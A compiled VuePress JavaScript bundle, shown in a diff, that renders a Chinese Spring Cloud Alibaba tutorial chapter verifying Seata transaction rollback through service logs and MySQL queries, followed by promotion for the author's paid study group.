sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以看到,订单条目数据表为空。")]),s._v(" "),a("h3",{attrs:{id:"验证seata事务-2"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#验证seata事务-2"}},[s._v("#")]),s._v(" 验证Seata事务")]),s._v(" "),a("p",[s._v("(1)分别启动Nacos、Sentinel、ZinKin、RocketMQ,Seata,并启动用户微服务,商品微服务,订单微服务和服务网关。打开浏览器访问"),a("code",[s._v("http://localhost:10001/server-order/order/submit_order?userId=1001&productId=1001&count=1")]),s._v(",如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-012","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-012.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("返回的原始数据如下所示。")]),s._v(" "),a("div",{staticClass:"language-json line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-json"}},[a("code",[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token property"}},[s._v('"code"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("500")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),a("span",{pre:!0,attrs:{class:"token property"}},[s._v('"codeMsg"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"执行失败"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),a("span",{pre:!0,attrs:{class:"token property"}},[s._v('"data"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"/ by zero"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("(2)查看各个微服务和网关输出的日志信息,分别如下所示。")]),s._v(" "),a("ul",[a("li",[s._v("用户微服务输出的日志如下所示。")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("获取到的用户信息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"address"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"北京"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"password"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"c26be8aaf53b15054896983b43eb6a65"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"phone"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"13212345678"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"username"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("说明用户微服务无异常信息。")]),s._v(" "),a("ul",[a("li",[s._v("商品微服务输出的日志如下所示。")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("获取到的商品信息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proName"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"华为"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proPrice"')]),s._v(":2399.00,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proStock"')]),s._v(":100"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n更新商品库存传递的参数为: 商品id:1001, 购买数量:1 \n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("说明商品微服务无异常信息。")]),s._v(" "),a("p",[s._v("值得注意的是,整合Seata后,商品微服务同时输出了如下日志。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[a("span",{pre:!0,attrs:{class:"token function"}},[s._v("rm")]),s._v(" handle branch rollback process:xid"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("192.168")]),s._v(".0.111:8091:6638572304823066625,branchId"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("6638572304823066634")]),s._v(",branchType"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("AT,resourceId"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("jdbc:mysql://localhost:3306/shop,applicationData"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("null\nBranch Rollbacking: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("192.168")]),s._v(".0.111:8091:6638572304823066625 "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("6638572304823066634")]),s._v(" jdbc:mysql://localhost:3306/shop\nxid "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("192.168")]),s._v(".0.111:8091:6638572304823066625 branch "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("6638572304823066634")]),s._v(", undo_log deleted with GlobalFinished\nBranch Rollbacked result: PhaseTwo_Rollbacked\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("p",[s._v("看上去应该是有事务回滚了。")]),s._v(" "),a("ul",[a("li",[s._v("订单微服务输出的日志如下所示。")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("提交订单时传递的参数:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"count"')]),s._v(":1,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"empty"')]),s._v(":false,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"productId"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"userId"')]),s._v(":1001"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n库存扣减成功\n服务器抛出了异常:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\njava.lang.ArithmeticException: / by zero\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("p",[s._v("说明订单微服务抛出了ArithmeticException异常。")]),s._v(" "),a("p",[s._v("同时,商品微服务会输出如下日志。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("Branch Rollbacked result: PhaseTwo_Rollbacked\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("192.168")]),s._v(".0.111:8091:6638572304823066625"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" rollback status: Rollbacked\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("看上去应该是有事务回滚了。")]),s._v(" "),a("ul",[a("li",[s._v("网关服务输出的日志如下所示。")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("执行前置过滤器逻辑\n执行后置过滤器逻辑\n访问接口主机: localhost\n访问接口端口: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("10001")]),s._v("\n访问接口URL: /server-order/order/submit_order\n访问接口URL参数: "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("userId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("productId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("count")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v("\n访问接口时长: 1632ms\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br")])]),a("p",[s._v("可以看到,网关服务无异常信息。")]),s._v(" "),a("p",[s._v("通过微服务打印出的日志信息,可以看到,有事务回滚了。")]),s._v(" "),a("h3",{attrs:{id:"查询数据表数据-4"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#查询数据表数据-4"}},[s._v("#")]),s._v(" 查询数据表数据")]),s._v(" "),a("p",[s._v("(1)打开cmd终端,进入MySQL命令行,并进入shop商城数据库,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("C:\\Users\\binghe"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("mysql "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("-")]),s._v("uroot "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("-")]),s._v("p\nEnter password: "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v("\nWelcome "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("to")]),s._v(" the MySQL monitor"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" Commands "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("end")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("with")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" \\g"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\nYour MySQL connection id "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("is")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("15")]),s._v("\nServer version: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("5.7")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v(".35")]),s._v(" MySQL Community Server "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("GPL"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n\nCopyright "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("c"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2000")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2021")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" Oracle "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("and")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" its affiliates"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\nOracle "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("is")]),s._v(" a registered trademark "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("of")]),s._v(" Oracle Corporation "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("and")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" its\naffiliates"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" Other names may be trademarks "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("of")]),s._v(" their respective\nowners"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'help;'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'\\h'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("for")]),s._v(" help"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'\\c'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("to")]),s._v(" clear the "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("current")]),s._v(" input statement"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\nmysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("use")]),s._v(" shop"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Database")]),s._v(" changed\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br")])]),a("p",[s._v("(2)查看商品数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_product"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" id "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_name "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_price "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_stock "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" 华为 "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2399.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1002")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" 小米 "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1999.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1003")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" iphone "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("4999.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("3")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("rows")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("in")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br")])]),a("p",[s._v("可以看到,此时商品数据表中,id为1001的商品库存数量仍然为100。")]),s._v(" "),a("p",[s._v("(3)查看订单数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nEmpty "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以看到,订单数据表为空。")]),s._v(" "),a("p",[s._v("(4)查看订单条目数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_order_item"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nEmpty "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以看到,订单条目数据表为空。")]),s._v(" "),a("p",[s._v("至此,我们成功在项目中整合了Seata解决了分布式事务的问题。")]),s._v(" "),a("p",[a("strong",[s._v("注意:本章所对应的Nacos配置,已放到项目的"),a("code",[s._v("doc/nacos/config/chapter25")]),s._v("目录下。")])]),s._v(" "),a("p",[a("strong",[s._v("好了,今天我们就到儿吧,限于篇幅,文中并未给出完整的案例源代码,想要完整源代码的小伙伴可加入【冰河技术】知识星球获取源码。也可以加我微信:hacker_binghe,一起交流技术。")])]),s._v(" "),a("p",[a("strong",[s._v("另外,一不小心就写了25章了,小伙伴们你们再不上车就真的跟不上了!!!")])]),s._v(" "),a("h2",{attrs:{id:"关于星球"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#关于星球"}},[s._v("#")]),s._v(" 关于星球")]),s._v(" "),a("p",[s._v("最近,冰河创建了【冰河技术】知识星球,《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500214&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏的源码获取方式会放到知识星球中,同时在微信上会创建专门的知识星球群,冰河会在知识星球上和星球群里解答球友的提问。")]),s._v(" "),a("p",[s._v("今天,【冰河技术】知识星球再开放200张优惠券,还没上车的小伙伴赶紧啦,再不上车就跟不上啦!!")]),s._v(" "),a("h3",{attrs:{id:"星球提供的服务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球提供的服务"}},[s._v("#")]),s._v(" 星球提供的服务")]),s._v(" "),a("p",[s._v("冰河整理了星球提供的一些服务,如下所示。")]),s._v(" "),a("p",[s._v("加入星球,你将获得:")]),s._v(" "),a("p",[s._v("1.学习SpringCloud Alibaba实战项目—从零开发微服务项目")]),s._v(" "),a("p",[s._v("2.学习高并发、大流量业务场景的解决方案,体验大厂真正的高并发、大流量的业务场景")]),s._v(" "),a("p",[s._v("3.学习进大厂必备技能:性能调优、并发编程、分布式、微服务、框架源码、中间件开发、项目实战")]),s._v(" "),a("p",[s._v("4.提供站点 https://binghe001.github.io 所有学习内容的指导、帮助")]),s._v(" "),a("p",[s._v("5.GitHub:https://github.com/binghe001/BingheGuide - 非常有价值的技术资料仓库,包括冰河所有的博客开放案例代码")]),s._v(" "),a("p",[s._v("6.可以发送你的简历到我的邮箱,提供简历批阅服务")]),s._v(" "),a("p",[s._v("7.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),s._v(" "),a("p",[s._v("8.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),s._v(" "),a("p",[s._v("9.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),s._v(" "),a("h3",{attrs:{id:"星球门票价格"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球门票价格"}},[s._v("#")]),s._v(" 星球门票价格")]),s._v(" "),a("p",[s._v("星球目前的门票价格50元,随着每次加入新实战项目和分享硬核技术上调入场价格。")]),s._v(" "),a("p",[a("strong",[s._v("特别提醒:")]),s._v(" 苹果用户进圈或续费,请加微信「hacker_binghe」扫二维码,或者去公众号「冰河技术」回复「星球」扫二维码进圈。")]),s._v(" "),a("p",[s._v("最后,小伙伴们可以扫描或者长按下图中的二维码加入星球,也可以在 "),a("strong",[s._v("冰河技术")]),s._v(" 公众号回复 “ "),a("strong",[s._v("星球")]),s._v(" ” ,领取入场优惠券。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),s._v(" "),a("p",[a("strong",[s._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),s._v(" "),a("h2",{attrs:{id:"写在最后"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),a("blockquote",[a("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);a.default=e.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-338.js b/assets/js/cg-338.js index e3ad2b715c84415db7fe618479470621c9444fc6..104d30d0331ee52dc1b8d229a714f0855789992c 100644 --- a/assets/js/cg-338.js +++ b/assets/js/cg-338.js 